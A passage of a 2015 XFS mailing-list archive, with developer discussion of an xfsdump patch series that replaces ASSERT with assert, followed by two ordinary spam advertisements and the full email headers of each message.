your help. with kind regards, Michael From david@fromorbit.com Wed Oct 28 17:32:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 28EF97CBF for ; Wed, 28 Oct 2015 17:32:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C97E2AC001 for ; Wed, 28 Oct 2015 15:32:43 -0700 (PDT) X-ASG-Debug-ID: 1446071560-04bdf0330cf6080001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id SL4m1hZ67EoQuXCB for ; Wed, 28 Oct 2015 15:32:41 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D0CQBzTDFWPEcHLHleKAGDDYEBQoZao00GiyqFJoYJhhUCAgEBAoE8TQEBAQEBAQcBAQEBQT+ENQEBAQMBOhwjBQsIAw4HAwklDwUlAwcaE4goB8YVAQsBIBmGF4VFhRAHhC4Flj2NHJw8gnQdgWoqNIV9AQEB Received: from ppp121-44-7-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.7.71]) by ipmail06.adl2.internode.on.net with ESMTP; 29 Oct 2015 09:02:35 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrZGk-0000Wm-52; Thu, 29 Oct 2015 09:32:34 +1100 Date: Thu, 29 Oct 2015 09:32:34 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/8] cleanup: get rid of ASSERT Message-ID: <20151028223234.GQ8773@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/8] cleanup: get rid of ASSERT References: <1444959901-31319-1-git-send-email-david@fromorbit.com> <1444959901-31319-2-git-send-email-david@fromorbit.com> <20151028115121.GA50552@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151028115121.GA50552@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1446071561 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23905 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Wed, Oct 28, 2015 at 07:51:22AM -0400, Brian Foster wrote: > On Fri, Oct 16, 2015 at 12:44:54PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > ASSERT comes from the xfs/xfs.h include, and we don't ever define > > DEBUG so we never get asserts built in. We want asserts built in for > > testing, but not for distro packages. The debian package already > > tries to do this by using "export DEBUG=-DNDEBUG" for the build > > context, but seeing as we pull in #define ASSERT(ex) (0) from the > > XFS headers it's a no-op. > > > > Convert all the ASSERT calls to assert to remove this conflict with > > the xfsprogs headers and so local developer builds are built with > > asserts enabled. > > > > Signed-off-by: Dave Chinner > > --- > > My initial concern when reading this was that asserts were now > unconditionally enabled. According to the man page, assert() is enabled > unless NDEBUG is defined at include time. The debian builder apparently > does this, but is this standard for other such utils? For other XFS utilities? Yes. For other packages I don't maintain? I don't know, I don't care, and I don't think it's relevant at all. How the distro builds and packages a utility is up to the distro maintainers - if they define -NDEBUG, then there is absolutely no change in behaviour of xfsdump. I think the binary is effectively unchanged as assert() is defined out in that case... > That aside, this seems like an inconsistent approach from our other > tools. For example, the debian/rules from xfsprogs does the same thing, > yet DEBUG must be defined to enable asserts in the first place. That's a issue with the way xfsprogs uses asserts - ASSERT should never have been exported in the first, nor should the xfsdump buildi rely on it, but here we are.... > If the > problem is that asserts cannot be enabled, I'm wondering why the > appropriate fix isn't to define DEBUG somewhere for debug-enabled builds > rather than unconditionally convert all of the ASSERT() calls into > actual assert()'s..? Becuase it has to build with both old and new xfsprogs userspace headers. Hence we cannot use ASSERT reliably in xfsdump at all, because it's owned by the old xfsprogs headers and it's behaviour is determined by whatever that xfsprogs installation defined...... > We do actually have a bunch of '#ifdef DEBUG' code > throughout xfsdump (and DEBUG appears in 'configure' as well, though I > have no idea if that actually does anything)... I'm not going to pull that string and have this turn into a massive "we have to change everything" exercise. I've built the code with and without NDEBUG enabled, and had no problems with the assert code either way. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Oct 28 17:35:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EAE0429DF5 for ; Wed, 28 Oct 2015 17:35:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4BF030405F for ; Wed, 28 Oct 2015 15:35:46 -0700 (PDT) X-ASG-Debug-ID: 1446071743-04bdf0330cf61b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1oQfAbzq5Oj9oIrA for ; Wed, 28 Oct 2015 15:35:43 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2A4BwBzTDFWPEcHLHleKAGDDYFDhlqjTQaLKoUmhgmGFQQCAoE8TQEBAQEBAQcBAQEBQT+ENQEBAQMBOhwjEAgDDgoJJQ8FJQMHGhOIKAfGFS0ZhheFRYUQB4QuBZY9jRycPIJ0HYFqKjSFfQEBAQ Received: from ppp121-44-7-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.7.71]) by ipmail06.adl2.internode.on.net with ESMTP; 29 Oct 2015 09:05:43 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrZJm-0000XI-FJ; Thu, 29 Oct 2015 09:35:42 +1100 Date: Thu, 29 Oct 2015 09:35:42 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! Message-ID: <20151028223542.GR8773@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! References: <1444959901-31319-1-git-send-email-david@fromorbit.com> <20151028115138.GB50552@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151028115138.GB50552@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1446071743 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23905 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 28, 2015 at 07:51:39AM -0400, Brian Foster wrote: > On Fri, Oct 16, 2015 at 12:44:53PM +1100, Dave Chinner wrote: > > Hi folks, > > > > Turns out that changes to exported XFS headers in xfsprogs v4.2.0 > > broke the xfsdump build. the XFS dump build was implicitly including > > the platform definitions calculated for the xfsprogs build and so > > removing them from the xfsprogs headers made xfsdump very unhappy. > > > ... > > > > So, now the code base is a little bit cleaner, a lot less dependent > > on the xfsprogs header files, compiles cleanly on xfsprogs 3.2.x and > > 4.x releases, can easily have asserts build in or excluded (distro > > packages need to use "export DEBUG=-DNDEBUG" to exclude asserts), > > passes xfstests with asserts enabled and disabled, and best of all > > the source code is a little less eye-bleedy. > > > > I really don't expect anyone to review this closely - it's *huge* > > chunk of boring search/replace change: > > > > 94 files changed, 2929 insertions(+), 2652 deletions(-) > > > > but I would like people to comment on/ack the approach I've taken > > here. If nobody objects/cares, I'll then do a 3.1.6 release early > > next week.... > > > > I sent some comments on patch 1, otherwise the rest looks reasonable to > me on a quick pass through. The only thing I noticed is that the series > introduced a handful of whitespace problems. I didn't go and track them > into the individual patches, but here's the full output from my patch > import: it didn't add any whitespace problems... > > Applying: cleanup: get rid of ASSERT > /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:3725: space before tab in indent. > assert( namebuf ); > /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:5656: trailing whitespace. > assert ( ent != NULL ); > /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:5855: trailing whitespace. > assert ( ent != NULL ); s/ASSERT/assert/ does not change any of the whitespace, but it will complain about it because the new line has whitespace problems because they existed in the old line... Cheers, Dave. -- Dave Chinner david@fromorbit.com From 545ee465.1dw1.1gPf.gD.1yGAmFfUXo+xfs=oss.sgi.com@bnc3.mailjet.com Thu Oct 29 01:55:56 2015 Return-Path: <545ee465.1dw1.1gPf.gD.1yGAmFfUXo+xfs=oss.sgi.com@bnc3.mailjet.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C7F57CBF for ; Thu, 29 Oct 2015 01:55:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1AA0BAC003 for ; Wed, 28 Oct 2015 23:55:52 -0700 (PDT) X-ASG-Debug-ID: 1446101747-04bdf0330a103a40001-NocioJ Received: from o129.p9.mailjet.com (o129.p9.mailjet.com [87.253.234.129]) by cuda.sgi.com with ESMTP id 1uZ8RpVoBT9XRdPl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 28 Oct 2015 23:55:48 -0700 (PDT) X-Barracuda-Envelope-From: 545ee465.1dw1.1gPf.gD.1yGAmFfUXo+xfs=oss.sgi.com@bnc3.mailjet.com X-Barracuda-Apparent-Source-IP: 87.253.234.129 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/simple; q=dns/txt; d=bnc3.mailjet.com; i=birthday=3Dnambush.com@bnc3.mailjet.com; s=mailjet; h=message-id:mime-version:from:reply-to:to:subject:date:list-id:list-unsubscribe: precedence:x-csa-complaints:content-type; bh=A5qwDTbikVbaK1kD4Nw2ISK0uRQ=; b= LHQyKq1JHFLXy3wv5kctJne1RjUnbApd0kZYokmEpbG2Aaymu/9TPRn+GRnn wNxPDSL8INVFPEWKQvWQmH11wYTX4juLxfU0ZyyVAhOocVTBOjAHyYSMiG9J wAO08OAYCO+TXyFJxPYZ2pYzdKkgesq59A+cZfzMEpKvKYWLKjc= Message-Id: <545ee465.1dw1.1gPf.gD.1yGAmFfUXo@mailjet.com> MIME-Version: 1.0 From: Bushwhackers Reply-To: annemarie@nambush.com To: xfs@oss.sgi.com Subject: Bushwhackers 10th Birthday Bash Date: Thu, 29 Oct 2015 06:55:46 +0000 X-ASG-Orig-Subj: Bushwhackers 10th Birthday Bash List-Id: List-Unsubscribe: Precedence: bulk X-CSA-Complaints: whitelist-complaints@eco.de Content-Type: multipart/alternative; boundary="=-G1KmjhZHu/c2q7hh4ZUm" X-Barracuda-Connect: o129.p9.mailjet.com[87.253.234.129] X-Barracuda-Start-Time: 1446101748 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23917 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --=-G1KmjhZHu/c2q7hh4ZUm Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable You are invited to the Big 10th Birthday Bash at Bushwhackers.=20 Unbelievable variety. PRIZES TO BE WON!!! Come join in the festivities! Saturday the 31st of October 2015 This email has been sent to xfs@oss.sgi.com, click here to unsubscribe .=20 =20 = --=-G1KmjhZHu/c2q7hh4ZUm Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable Bushwhackers 10th Birthday Bash =20
=20
3D""
=
You are invited to the Big 10th Bi= rthday Bash at Bushwhackers.

Unbelievable variety.

Prizes to be won!!!

C= ome join in the festivities!

Saturday the 31st of October 2015

<= tr>
3D"=
=
=20
This email has been sent to xfs@oss.sgi.com, click here to unsubscribe.
3D""<= /a>

3D"" = --=-G1KmjhZHu/c2q7hh4ZUm-- From ceo31@mould-powstar.com Thu Oct 29 06:44:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FORGED_OUTLOOK_TAGS, HTML_MESSAGE,TO_NO_BRKTS_MSFT,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F2D5A7F67 for ; Thu, 29 Oct 2015 06:44:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5C1B6AC003 for ; Thu, 29 Oct 2015 04:44:52 -0700 (PDT) X-ASG-Debug-ID: 1446119085-04cbb0660c108110001-NocioJ Received: from mail-yk0-f178.google.com (mail-yk0-f178.google.com [209.85.160.178]) by cuda.sgi.com with ESMTP id 6QeGXEernFxR3ReI (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 29 Oct 2015 04:44:45 -0700 (PDT) X-Barracuda-Envelope-From: ceo31@mould-powstar.com X-Barracuda-Apparent-Source-IP: 209.85.160.178 Received: by ykba4 with SMTP id a4so38941251ykb.3 for ; Thu, 29 Oct 2015 04:44:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mould-powstar_com.20150623.gappssmtp.com; s=20150623; h=message-id:reply-to:disposition-notification-to:returnreceipt:from :to:subject:date:mime-version:content-type; bh=goFxbYdAS+32cgQYCFONlFNGVZ72ze+23PdBvHuXT9Q=; b=L3gKqRltIGKJaIDXrCdPejXkSzcAD7df60ZZf0l4a6dhWjruAavHK3F2VBffCsxov4 pMoJdF6RaCrO09ift2Dgad+DZ+tF771gg1LLuYZLgteW4Gpur23+c7XH5vPCCH4cSS52 T3nPHzcLeh6+g2UCmdR2vrRLcP2Qt/jy0xJnXrbbLoZWfl1VT5zZqmVKrM2mnB/TR06w YO922dnF1DdiZfmfkol7cHrWDhzOQj5/7hhwin9EnR6cWCC+otNPHcO5fcIvE3NZQRHv 6NetzHV9WNvh+oFq361KZPVcEnRQOjS6nSYyXr7fq1Cha2KdZs1U3mxHYBjbDZg6eVq8 nusA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:reply-to:disposition-notification-to :returnreceipt:from:to:subject:date:mime-version:content-type; bh=goFxbYdAS+32cgQYCFONlFNGVZ72ze+23PdBvHuXT9Q=; b=U+WoRfSnWEjnSJJW5Q9LrE+h0lssYc1m2eZW6vmvzJSzIHNN1Atb/uqAGmT8Q4k2nR Zz4rfKvxFom1eQrvIc1nixUBXZyKTz93xef2Nvh1gD86bxUEqSUVyIa6H/PqvQE1mceU L56JZjvWKqh5JxCP2Hl6IC9BFcpCL1F9d7zkeH1NAwVD0tErMjHtmybWlzsvRlT6aEva kd7NthH10t72K9d37PwLh+n67cZ8b5p5ZwpwVWcdDvd9V2uvm3BQ565NTRNQtHLHMRQt S9vCz4yTpVYHLdAOQdx4rsovtEjZt5L7CLBtr7I5ryrmfrsP7rnrhUlggu+LeAlUlJ6Z +Dag== X-Gm-Message-State: ALoCoQlBwUftKkRRF6DMMWqJaqZmL1brGnmdgCLFcoX5G0vbRM98QirtYEn+asNE5LT6jIyNAbtH X-Received: by 10.13.204.207 with SMTP id o198mr996365ywd.183.1446119085324; Thu, 29 Oct 2015 04:44:45 -0700 (PDT) Received: from hebnr (124244026064.ctinets.com. [124.244.26.64]) by smtp.gmail.com with ESMTPSA id h184sm558403ywf.41.2015.10.29.04.44.41 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Thu, 29 Oct 2015 04:44:44 -0700 (PDT) Message-ID: <7F2003387F814547B9780F8990A5EDD9@mould-powstar.com> Reply-To: info@powstarmould.com Disposition-Notification-To: info@powstarmould.com ReturnReceipt: 1 From: Powstar To: xfs@oss.sgi.com Subject: =?utf-8?B?TW90b3JjeWNsZTogTWFudWZhY3R1cmVyIG9mIHRvb2xpbmcgYW5kIHBhcnRz?= Date: Thu, 29 Oct 2015 19:42:44 +0800 (CST) X-ASG-Orig-Subj: =?utf-8?B?TW90b3JjeWNsZTogTWFudWZhY3R1cmVyIG9mIHRvb2xpbmcgYW5kIHBhcnRz?= MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.3790.4548 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.4325 content-type: multipart/related; boundary=----=_NextPart_000_0003_A2800752.BBE0481C X-Barracuda-Connect: mail-yk0-f178.google.com[209.85.160.178] X-Barracuda-Start-Time: 1446119085 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, FORGED_OUTLOOK_TAGS, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23921 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format This is a multi-part message in MIME format. ------=_NextPart_000_0003_A2800752.BBE0481C Content-Type: multipart/alternative; boundary=----=_NextPart_000_0003_5A2E90B8.59474174 ------=_NextPart_000_0003_5A2E90B8.59474174 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 DQombmJzcDsNCkRlYXImbmJzcDtwdXJjaGFzaW5nJm5ic3A7bWFuYWdlciZuYnNwO2FuZCZuYnNw O0RpcmVjdG9yLA0KUE9XU1RBUiZuYnNwO2lzJm5ic3A7YSZuYnNwO3Byb2Zlc3Npb25hbCZuYnNw O3Rvb2xpbmcgYW5kIHBhcnRzIG1hbnVmYWN0dXJlciBmb3IgbW90b3JjeWNsZSBpbmR1c3RyeS4g TWFpbiANCnNlcnZpY2VzOiANClBsYXN0aWMgaW5qZWN0aW9uIG1vbGQgYW5kIHBhcnRzDQpNZXRh bCBzdGFtcGluZyB0b29saW5nIGFuZCBwYXJ0cw0KQWx1bWludW0vemluYyBkaWUtY2FzdGVkIG1v bGQgYW5kIHBhcnRzLg0KVGhlIGFkdmFudGFnZXM6MS4mbmJzcDsmbmJzcDsmbmJzcDtMb3dlciZu YnNwO3ByaWNlJm5ic3A7YmFzZWQmbmJzcDtvbiZuYnNwO3RoZSZuYnNwO3NhbWUmbmJzcDtoaWdo Jm5ic3A7cXVhbGl0eSZuYnNwO3RoYW4mbmJzcDtFdXJvcGUuKHNhdmluZyZuYnNwOzUwJS04MCUm bmJzcDtjb3N0KTIuJm5ic3A7Jm5ic3A7Jm5ic3A7T24mbmJzcDtUaW1lJm5ic3A7RGVsaXZlcnkm bmJzcDszLiZuYnNwOyZuYnNwOyZuYnNwO0Rlc2lnbmluZyZuYnNwO3RoZSZuYnNwO21vc3QmbmJz cDtlY29ub21pY2FsJm5ic3A7c29sdXRpb25zJm5ic3A7dG8mbmJzcDttYXRjaCZuYnNwO2NsaWVu dHMnIGJ1ZGdldC4mbmJzcDs0LiZuYnNwOyZuYnNwOyZuYnNwOzI0Jm5ic3A7SG91cnMmbmJzcDtP biZuYnNwO0NhbGwtJm5ic3A7TWFpbCZuYnNwO3Byb21wdCZuYnNwO3JlcGx5LiZuYnNwOyZuYnNw OyZuYnNwO0FmdGVyJm5ic3A7cmVjZWl2aW5nJm5ic3A7eW91ciZuYnNwOzNEJm5ic3A7ZHJhd2lu Zywgd2UibGwmbmJzcDtnaXZlJm5ic3A7eW91Jm5ic3A7YSZuYnNwO3F1b3QmbmJzcDtpbiZuYnNw OzEyJm5ic3A7aG91cnMuQW55Jm5ic3A7UkZRJm5ic3A7LHBscyZuYnNwO3NlbnQmbmJzcDt1cyZu YnNwO2VtYWlsJm5ic3A7dG8mbmJzcDs6Jm5ic3A7YXJkZW5AcG93c3Rhcm1vdWxkLmNvbSZuYnNw OyZuYnNwO2FuZCZuYnNwOyZuYnNwO3Bvd3N0YXJtb3VsZC5hcmRlbkBnbWFpbC5jb20mbmJzcDtU aGFuayZuYnNwO3lvdSZuYnNwO2luJm5ic3A7YWR2YW5jZSFCZXN0Jm5ic3A7cmVnYXJkcyxBcmRl biBXYW5nU0hFTlpIRU4mbmJzcDtQT1dTVEFSJm5ic3A7VEVDSE5PTE9HWSZuYnNwO0xJTUlURURG YWN0b3J5Jm5ic3A7QWRkLjombmJzcDtJbmR1c3RyaWFsJm5ic3A7Wm9uZSwmbmJzcDtTaGFuZ3hp bmcsJm5ic3A7U2hhamluZyZuYnNwO1N0cmVldCwgQmFvJ2FuJm5ic3A7RGlzdHJpY3QsJm5ic3A7 U2hlbnpoZW4sIEd1YW5nZG9uZywgQ2hpbmEuVGVsOiZuYnNwOys4Ni03NTUtMzY5Mzk0MzJGYXg6 Kzg2LTc1NS0yNjQzOTg4NE1vYjombmJzcDsrODYtMTUwMTM0NDEyNTFTa3lwZTpwb3dzdGFyMDg= ------=_NextPart_000_0003_5A2E90B8.59474174 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PFAgc3R5bGU9IlRFWFQtQUxJR046IGxlZnQ7IE1BUkdJTjogMGNtIDBjbSAwcHQ7IG1zby1wYWdp bmF0aW9uOiB3aWRvdy1vcnBoYW4iIGNsYXNzPU1zb05vcm1hbCBhbGlnbj1sZWZ0PjxTUEFOIHN0 eWxlPSJGT05ULUZBTUlMWTogJ0FyaWFsJywnc2Fucy1zZXJpZic7IG1zby1iaWRpLWZvbnQtc2l6 ZTogMTAuNXB0OyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+PEZPTlQgc2l6ZT0y PjxJTUcgc3JjPSJjaWQ6cG96cC1hNWtiYnJxdyI+PC9GT05UPjwvU1BBTj48L1A+DQo8UCBzdHls ZT0iVEVYVC1BTElHTjogbGVmdDsgTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246 IHdpZG93LW9ycGhhbiIgY2xhc3M9TXNvTm9ybWFsIGFsaWduPWxlZnQ+PFNQQU4gc3R5bGU9IkZP TlQtRkFNSUxZOiAnQXJpYWwnLCdzYW5zLXNlcmlmJzsgbXNvLWJpZGktZm9udC1zaXplOiAxMC41 cHQ7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1FTi1VUz48L1NQQU4+PEZPTlQgc2l6ZT0y PiZuYnNwOzwvRk9OVD48L1A+DQo8UCBzdHlsZT0iVEVYVC1BTElHTjogbGVmdDsgTUFSR0lOOiAw Y20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhhbiIgY2xhc3M9TXNvTm9ybWFs IGFsaWduPWxlZnQ+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiAnQXJpYWwnLCdzYW5zLXNlcmlm JzsgbXNvLWJpZGktZm9udC1zaXplOiAxMC41cHQ7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFu Zz1FTi1VUz48Rk9OVCBzaXplPTI+RGVhciZuYnNwO3B1cmNoYXNpbmcmbmJzcDttYW5hZ2VyJm5i c3A7YW5kJm5ic3A7RGlyZWN0b3IsPEJSIHN0eWxlPSJtc28tc3BlY2lhbC1jaGFyYWN0ZXI6IGxp bmUtYnJlYWsiPjxCUiBzdHlsZT0ibXNvLXNwZWNpYWwtY2hhcmFjdGVyOiBsaW5lLWJyZWFrIj48 L0ZPTlQ+PC9QPjw/eG1sOm5hbWVzcGFjZSBwcmVmaXggPSBvIG5zID0gInVybjpzY2hlbWFzLW1p Y3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgLz48bzpwPjwvbzpwPjwvU1BBTj4NCjxQIHN0eWxl PSJURVhULUFMSUdOOiBsZWZ0OyBNQVJHSU46IDBjbSAwY20gMHB0OyBtc28tcGFnaW5hdGlvbjog d2lkb3ctb3JwaGFuIiBjbGFzcz1Nc29Ob3JtYWwgYWxpZ249bGVmdD48U1BBTiBzdHlsZT0iRk9O VC1GQU1JTFk6ICdBcmlhbCcsJ3NhbnMtc2VyaWYnOyBtc28tYmlkaS1mb250LXNpemU6IDEwLjVw dCIgbGFuZz1FTi1VUz48Rk9OVCBzaXplPTI+UE9XU1RBUiZuYnNwO2lzJm5ic3A7YSZuYnNwO3By b2Zlc3Npb25hbCZuYnNwO3Rvb2xpbmcgYW5kIHBhcnRzIG1hbnVmYWN0dXJlciBmb3IgbW90b3Jj eWNsZSBpbmR1c3RyeS4gTWFpbiA8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9QPg0KPFAgc3R5 bGU9IlRFWFQtQUxJR046IGxlZnQ7IE1BUkdJTjogMGNtIDBjbSAwcHQ7IG1zby1wYWdpbmF0aW9u OiB3aWRvdy1vcnBoYW4iIGNsYXNzPU1zb05vcm1hbCBhbGlnbj1sZWZ0PjxTUEFOIHN0eWxlPSJG T05ULUZBTUlMWTogJ0FyaWFsJywnc2Fucy1zZXJpZic7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTAu NXB0IiBsYW5nPUVOLVVTPjxGT05UIHNpemU9Mj5zZXJ2aWNlczogPC9GT05UPjwvU1BBTj48L1A+ DQo8UCBzdHlsZT0iVEVYVC1BTElHTjogbGVmdDsgTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBh Z2luYXRpb246IHdpZG93LW9ycGhhbiIgY2xhc3M9TXNvTm9ybWFsIGFsaWduPWxlZnQ+PFNQQU4g c3R5bGU9IkZPTlQtRkFNSUxZOiAnQXJpYWwnLCdzYW5zLXNlcmlmJzsgbXNvLWJpZGktZm9udC1z aXplOiAxMC41cHQiIGxhbmc9RU4tVVM+PEZPTlQgc2l6ZT0yPlBsYXN0aWMgaW5qZWN0aW9uIG1v bGQgYW5kIHBhcnRzPC9GT05UPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iVEVYVC1BTElHTjogbGVm dDsgTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhhbiIgY2xh c3M9TXNvTm9ybWFsIGFsaWduPWxlZnQ+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiAnQXJpYWwn LCdzYW5zLXNlcmlmJzsgbXNvLWJpZGktZm9udC1zaXplOiAxMC41cHQiIGxhbmc9RU4tVVM+PEZP 